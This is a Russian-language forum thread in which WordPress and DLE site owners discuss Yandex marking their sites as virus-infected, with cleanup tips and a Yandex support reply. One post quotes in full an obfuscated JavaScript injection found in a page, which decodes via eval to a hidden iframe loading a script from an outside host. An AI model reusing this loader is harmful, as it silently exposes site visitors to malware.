Яндекс видит вирус на сайте, которого нет!

Всем привет у меня таже проблема,недавно создавал тему по етому поводу,сайт на Ворд прес,гдето 8 дней назад,яндекс обнаружил вирус,посмотрел код ,поменял пароли ничиво подозрительного не нашол,отправил на перепроверку на следующий день все было нормально,но не прошло и 3х дней как сайт опять обозначалса значком вируса,опять посмотрел код ничиво не нашол отправил на перепроверку но яндекс дальше считает мой сайт заражон.

Я в етом не спец,особенно в областе вирусов,никогда с етим не сталкивалса.Гугл сайт не считает заражонным.Проверял файли сайта антивируской Nod32все чисто,но догадываюсь он просто не видит его.

Тепер пережываю чтобы вирус не розозлил Яшу и сайт попал под фильт

Вот сам сайт http://rubka.in/,может ктото посоветует как етот вирус удалить и где его искать

Не ищите.

medicprof.ru при прямом запросе по домену.

Получил такую надпись "Сайт может угрожать безопасности вашего компьютера

" на древнем сайте.

Месяц назад сменил двиг, контент, название, ... короче сменил все.

Сайт даже переиндексировался, а вирус до сих пор яша видит, на письма Платон не отвечает.

Доступ в фтп делайте только из Вашей подсети, смените пароли, установите ранее сохраненную версию на хостинг. Если такой нет, то Вам немного надо будет позаморачиваться в поиске скриптов, используйте специальные программы, но удалять надо будет ручками

гдето 3 часа назад отправил сайт не перепроверку,вот уже все нормально

думаю через 2 дня опять появитса)

- в вебмастере яндекса обычно указывается где именно вирус

- попробуйте http://designn.org.ua/blog/ru/17.htm защита от взлома

У тебя внизу кода страницы перед /body код, я у себя такой же видел, но он исчезает, он не постоянно вылезает:

<script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS('#va','background:url(data:,String.fromCharCode)');var god=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var um=r.cssRules||r.rules;for(var mr=0;mr<um.length;mr++){var xld=um.item?um.item(mr):um[mr];if(!xld.selectorText.match(/#va/))continue;nfiv=(xld.cssText)?xld.cssText:xld.style.cssText;god=nfiv.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];ey=xld.selectorText.substr(1);};}catch(e){};}

ff=new Date(2010,11,3,2,21,4);t=ff.getSeconds();var hee=[36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,392/t,400/t,484/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,136/t,392/t,444/t,400/t,484/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,464/t,456/t,484/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,392/t,400/t,484/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,396/t,388/t,464/t,396/t,416/t,128/t,160/t,404/t,164/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,392/t,444/t,400/t,484/t,128/t,244/t,128/t,392/t,400/t,484/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,136/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,460/t,456/t,396/t,244/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,448/t,420/t,396/t,416/t,404/t,464/t,388/t,184/t,440/t,404/t,464/t,188/t,460/t,436/t,388/t,456/t,464/t,184/t,448/t,416/t,448/t,156/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,156/t,196/t,192/t,156/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,156/t,196/t,192/t,156/t,128/t,460/t,464/t,484/t,432/t,404/t,244/t,156/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,232/t,416/t,420/t,400/t,400/t,404/t,440/t,236/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,232/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,236/t,432/t,404/t,408/t,464/t,232/t,192/t,236/t,464/t,444/t,448/t,232/t,192/t,236/t,156/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,500/t,52/t,36/t,36/t,408/t,468/t,440/t,396/t,464/t,420/t,444/t,440/t,128/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,408/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,156/t,420/t,408/t,456/t,388/t,436/t,404/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,460/t,456/t,396/t,156/t,176/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,448/t,420/t,396/t,416/t,404/t,464/t,388/t,184/t,440/t,404/t,464/t,188/t,460/t,436/t,388/t,456/t,464/t,184/t,448/t,416/t,448/t,156/t,164/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,244/t,156/t,416/t,420/t,400/t,400/t,404/t,440/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,244/t,156/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,432/t,404/t,408/t,464/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,464/t,444/t,448/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,476/t,420/t,400/t,464/t,416/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,416/t,404/t,420/t,412/t,416/t,464/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,52/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,408/t,164/t,236/t,52/t,36/t,36/t,500/t];var lj="";var g=function(){return this;}();eysa=g["e"+ey+"l"];var ippk='';wy=eysa(god);for(var i=0;i<hee.length;i++){el=eysa(hee);ippk+=wy(el);}

eysa(ippk);</script> 

Удивился - еще пару минут этот скрипт я копировал, а теперь его нет в коде страницы, и у меня такая же фигня!

Подскажите кто-нибудь, в каком файле на dle может сидеть эта зараза?

Да нашел это в файле engine\classes\js\bbcodes.js но проверил и этот файл такой же, как исходный с чистого движка файл. Только интересно зачем этот код переодически появляется в коде страниц.

Неделю назад словил такую же засаду.

DLE 9.2

Вылечил руками путем удаления инклюдов в файлах шаблонов (tpl) -- в моем случае вызывался вирус через запрос {full-story}.

В итоге сайт выкинули из ЯК и в индексе от 966 страниц осталось 200.

Написал в саппорт -- отписали, что все ок с сайтом, а насчет ЯК и индекса походу я в пролете.

Убивайте сразу, особое внимание тем, у кого DLE и WP.

может комуто интересно будет,вот сегодня пришло письмо

Здравствуйте!

Приношу свои извинения за задержку с ответом.

В настоящий момент с Вашим сайтом все в

порядке, он прошёл перепроверку и не помечен

как угрожающий безопасности компьютера.

Зараженные сайты не исключаются из

результатов поиска, на их позиции в выдаче

наличие вируса также не влияет.

--

С уважением, Платон Щукин

Служба поддержки Яндекса